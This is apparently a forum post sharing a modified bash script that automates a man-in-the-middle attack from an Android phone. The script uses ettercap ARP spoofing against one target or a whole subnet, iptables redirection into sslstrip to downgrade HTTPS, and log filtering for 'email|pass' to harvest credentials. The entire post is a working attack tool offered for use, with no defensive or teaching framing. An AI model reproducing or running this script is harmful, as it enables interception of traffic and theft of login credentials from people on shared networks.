I modded the following script, and works smooth on SGS3 (sslstrip + ettercap)
Code:
#!/bin/bash
# Nombre: sslsnif.sh
# Autor: foro backtrack
# Credits to: dsniff-fr0g
# Modified by [W][0][C][@][R]
txtred='\e[01;31m' # Red
txtdef='\e[0;00m'
txtblue='\e[01;34m'
function po () {
echo ""
echo "#####################################"
echo "Interface $IFACE"
echo "Local MAC $tmac"
echo "Subnet $dbcast"
echo "Local IP $tlocalip"
echo "Folder /root/capture/$SESSION/"
echo "Filter $filter"
echo -e "Attack Mode ${txtred}$MODE${txtdef}"
if [ "$ROUTER" = "" ]
then
echo -e "Gateway ${txtblue}*${txtdef}"
else
echo -e "Gateway ${txtblue}$ROUTER${txtdef}"
fi
if [ "$VICTIM" = "" ]
then
echo -e "Target ${txtblue}*${txtdef}"
else
echo -e "Target ${txtblue}$VICTIM${txtdef}"
fi
#echo "Ettercap: ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/"
echo "#####################################"
echo ""
}
function usage()
{
cat << EOF
usage: $0 options
Script helper for SSLSTRIP MITM attacks
OPTIONS:
-n No spoof (will not run ettercap)
-f Filter (ex: 'grep username', or '-f NOF' )
-w Write logs to dir in /root/capture/example
-i Interface (default:wlan0)
-m Moo
EOF
}
IFACE="wlan0"
dgateway=`route|grep default|grep wlan0|awk '{print $2}'| awk '{split($0,array," ")} END{print array[1]}'`
dbcast=`ifconfig wlan0|grep Bcast | awk '{split($0,array," ")} END{print array[3]}'|cut -d":" -f2 | cut -d '.' -f1-3`
tmac=`ifconfig wlan0|grep HWaddr | awk '{split($0,array," ")} END{print array[5]}'`
tlocalip=`ifconfig wlan0|grep Bcast | awk '{split($0,array," ")} END{print array[2]}'|cut -d":" -f2`
norun="false"
SESSION=
defaultfilter='egrep -i "email|pass"'
while getopts "hnm?:i:f:w:" OPTION
do
case $OPTION in
h)
usage
exit 1
;;
n)
norun="true"
;;
w)
SESSION=$OPTARG
;;
i)
IFACE=$OPTARG
;;
m)
echo "MOOO"
exit 1
;;
f)
defaultfilter=$OPTARG
exit 1
;;
?)
usage
exit
;;
esac
done
VICTIM=null
ROUTER=null
filter=none
if [ "$SESSION" = "" ]
then
echo -n "Folder to save logs: /root/capture/"
read -e SESSION
fi
echo -n "Target IP (blank = whole ARP network) - $dbcast."
read -e host
if [ "$host" = "" ]
then
VICTIM=""
ROUTER=""
else
VICTIM="$dbcast.$host"
echo -n "Gateway IP (blank = $dgateway): "
read -e gate
if [ "$gate" = "" ]
then
ROUTER="$dgateway"
fi
fi
echo -n "Filter for tail: (blank = $defaultfilter)"
read -e filter
if [ "$filter" = "" ]
then
filter="$defaultfilter"
fi
if [ "$VICTIM" = "" ]
then
MODE="ALL NETWORK"
else
MODE="SINGLE IP"
fi
po
echo -n "Staring in "
for ((seconds=4; seconds > 0; seconds--)); do echo -n "$seconds.. "; sleep 1; done;
echo "GO"
sleep 2
clear
#------------- start ---------------
echo "==================================="
mkdir /root/capture/$SESSION/
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
sslstrip -p -l 1338 -k -w /root/capture/$SESSION/$SESSION.log &
sleep 3
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1338
sleep 3
tail /root/capture/$SESSION/$SESSION.log -f -n 10 | eval $filter &
if [ "$norun" = "true" ]
then
echo "Not launching MITM attack (-n)"
read -p "Press [Enter] key to end the attack..."
else
ettercap -T -i $IFACE -w /root/capture/$SESSION/$SESSION.pcap -L /root/capture/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/
fi
#urlsnarf -i $IFACE | grep http > /root/capture/$SESSION/$SESSION.txt &
#"$XTRACT"tcpxtract -f /root/capture/$SESSION/$SESSION.pcap
#"$NOYES"wireshark &
killall tail
killall sslstrip
killall ettercap
killall python
killall urlsnarf
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
clear
etterlog -p -i /root/capture/$SESSION/$SESSION.eci
po
echo "Show sslstrip log? blank = yes: "
read -e byes
"$byes"cat /root/capture/$SESSION/$SESSION.log